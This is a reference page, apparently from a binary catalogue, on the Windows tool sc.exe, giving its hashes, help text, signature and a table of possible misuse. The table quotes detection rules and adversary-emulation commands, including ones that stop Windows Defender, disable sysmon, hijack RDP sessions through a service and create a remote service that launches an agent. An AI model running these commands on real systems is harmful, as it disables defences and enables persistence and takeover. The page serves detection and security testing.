sc.exe

  • File Path: C:\Windows\system32\sc.exe
  • Description: Service Control Manager Configuration Tool

Hashes

Type Hash
MD5 3FB5CF71F7E7EB49790CB0E663434D80
SHA1 B4979A9F970029889713D756C3F123643DDE73DA
SHA256 41F067C3A11B02FE39947F9EBA68AE5C7CB5BD1872A6009A4CD1506554A9ABA9
SHA384 5CE16AFC273E549BFDDF679FB54A63BB26B8A5B3B7C3FCE0F5C444208E3956006BFA577269E9B1FFCF04034E8C6B1EF1
SHA512 2B59A6D0AFEF765C6CA80B5738202622CFE0DFFCEC2092D23AD8149156B0B1DCA479E2E2C8562639C97E9F335429854CAD12461F2FB277207C39D12E3E308EF5
SSDEEP 1536:zth6CGDJhe/FbtFWQj1vm4LvWjh937ZlzE10:zthtiJhetRhu4DWjh937Z1ES
IMP 803254E010814E69947095A2725B2AFD
PESHA1 8960CD81B92738593D290830B7943DBB72C23BC4
PE256 75FD106DCEE557FF574F56D7748FCA62BD0A445F660E53747F1F7D77BE7F225B

Runtime Data

Usage (stdout):


ERROR:  Unrecognized command

DESCRIPTION:
        SC is a command line program used for communicating with the
        Service Control Manager and services.
USAGE:
        sc <server> [command] [service name] <option1> <option2>...


        The option <server> has the form "\\ServerName"
        Further help on commands can be obtained by typing: "sc [command]"
        Commands:
          query-----------Queries the status for a service, or
                          enumerates the status for types of services.
          queryex---------Queries the extended status for a service, or
                          enumerates the status for types of services.
          start-----------Starts a service.
          pause-----------Sends a PAUSE control request to a service.
          interrogate-----Sends an INTERROGATE control request to a service.
          continue--------Sends a CONTINUE control request to a service.
          stop------------Sends a STOP request to a service.
          config----------Changes the configuration of a service (persistent).
          description-----Changes the description of a service.
          failure---------Changes the actions taken by a service upon failure.
          failureflag-----Changes the failure actions flag of a service.
          sidtype---------Changes the service SID type of a service.
          privs-----------Changes the required privileges of a service.
          managedaccount--Changes the service to mark the service account 
                          password as managed by LSA.
          qc--------------Queries the configuration information for a service.
          qdescription----Queries the description for a service.
          qfailure--------Queries the actions taken by a service upon failure.
          qfailureflag----Queries the failure actions flag of a service.
          qsidtype--------Queries the service SID type of a service.
          qprivs----------Queries the required privileges of a service.
          qtriggerinfo----Queries the trigger parameters of a service.
          qpreferrednode--Queries the preferred NUMA node of a service.
          qmanagedaccount-Queries whether a services uses an account with a 
                          password managed by LSA.
          qprotection-----Queries the process protection level of a service.
          quserservice----Queries for a local instance of a user service template.
          delete----------Deletes a service (from the registry).
          create----------Creates a service. (adds it to the registry).
          control---------Sends a control to a service.
          sdshow----------Displays a service's security descriptor.
          sdset-----------Sets a service's security descriptor.
          showsid---------Displays the service SID string corresponding to an arbitrary name.
          triggerinfo-----Configures the trigger parameters of a service.
          preferrednode---Sets the preferred NUMA node of a service.
          GetDisplayName--Gets the DisplayName for a service.
          GetKeyName------Gets the ServiceKeyName for a service.
          EnumDepend------Enumerates Service Dependencies.

        The following commands don't require a service name:
        sc <server> <command> <option>
          boot------------(ok | bad) Indicates whether the last boot should
                          be saved as the last-known-good boot configuration
          Lock------------Locks the Service Database
          QueryLock-------Queries the LockStatus for the SCManager Database
EXAMPLE:
        sc start MyService


QUERY and QUERYEX OPTIONS:
        If the query command is followed by a service name, the status
        for that service is returned.  Further options do not apply in
        this case.  If the query command is followed by nothing or one of
        the options listed below, the services are enumerated.
    type=    Type of services to enumerate (driver, service, userservice, all)
             (default = service)
    state=   State of services to enumerate (inactive, all)
             (default = active)
    bufsize= The size (in bytes) of the enumeration buffer
             (default = 4096)
    ri=      The resume index number at which to begin the enumeration
             (default = 0)
    group=   Service group to enumerate
             (default = all groups)

SYNTAX EXAMPLES
sc query                - Enumerates status for active services & drivers
sc query eventlog       - Displays status for the eventlog service
sc queryex eventlog     - Displays extended status for the eventlog service
sc query type= driver   - Enumerates only active drivers
sc query type= service  - Enumerates only Win32 services
sc query state= all     - Enumerates all services & drivers
sc query bufsize= 50    - Enumerates with a 50 byte buffer
sc query ri= 14         - Enumerates with resume index = 14
sc queryex group= ""    - Enumerates active services not in a group
sc query type= interact - Enumerates all interactive services
sc query type= driver group= NDIS     - Enumerates all NDIS drivers


Loaded Modules:

Path
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\system32\sc.exe

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: sc.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.19041.1 (WinBuild.160101.0800)
  • Product Version: 10.0.19041.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/76
  • VirusTotal Link: https://www.virustotal.com/gui/file/41f067c3a11b02fe39947f9eba68ae5c7cb5bd1872a6009a4cd1506554a9aba9/detection

Possible Misuse

The following table contains possible examples of sc.exe being misused. While sc.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma image_load_suspicious_dbghelp_dbgcore_load.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_multiple_suspicious_cli.yml - sc.exe DRL 1.0
sigma proc_creation_win_new_service_creation.yml - Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_service_stop.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_recon.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_service_dacl_modification.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_service_path_modification.yml Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_spoolsv_child_processes.yml - \sc.exe DRL 1.0
sigma proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml description: Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand DRL 1.0
sigma proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_using_sc_to_hide_sevices.yml description: Detection of sc.exe utility adding a new service with special permission which hides that service. DRL 1.0
sigma proc_creation_win_using_sc_to_hide_sevices.yml Image\|endswith: '\sc.exe' DRL 1.0
LOLBAS Sc.yml Name: Sc.exe  
LOLBAS Sc.yml - Path: C:\Windows\System32\sc.exe  
LOLBAS Sc.yml - Path: C:\Windows\SysWOW64\sc.exe  
malware-ioc misp-badiis.json "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", © ESET 2014-2018
atomic-red-team T1489.md Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying MIT License. © 2018 Red Canary
atomic-red-team T1489.md sc.exe stop #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1489.md sc.exe start #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md <blockquote>Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg. MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe create #{service_name} binPath= #{binary_path} MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe start #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe stop #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe delete #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe delete W64Time MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md sc.exe config #{service_name} start= disabled MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md sc.exe config #{service_name} start= auto >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe create sesshijack binpath= “cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}” MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe delete sesshijack >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md <blockquote>Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net. MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file art-marker.txt MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe create #{service_name} binPath= “#{executable_command}” MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe start #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe delete #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md <blockquote>Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security) MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md sc.exe delete #{weak_service_name} MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md sc.exe create #{weak_service_name} binpath= “#{weak_service_path}” MIT License. © 2018 Red Canary
atomic-red-team T1588.002.md #{local_folder}#{local_executable} /EXEFilename “C:\Windows\System32\sc.exe” /WindowState 0 /CommandLine “stop WinDefend” /StartDirectory “” /RunAs 8 /Run MIT License. © 2018 Red Canary
signature-base crime_ransom_robinhood.yar $s4 = “sc.exe stop SQLAgent$SQLEXPRESS” nocase CC BY-NC 4.0
signature-base gen_empire.yar $s1 = “$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath” fullword ascii CC BY-NC 4.0
signature-base gen_empire.yar $s2 = “$Result = sc.exe pause $($TargetService.Name)” fullword ascii CC BY-NC 4.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} stop sandsvc; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} delete sandsvc /f; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} create sandsvc start= demand error= ignore binpath= "cmd /c start C:\Users\Public\s4ndc4t.exe -server #{server} -v -originLinkID #{origin_link_id}" displayname= "Sandcat Execution"; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} start sandsvc; Apache-2.0

MIT License. Copyright (c) 2020-2021 Strontic.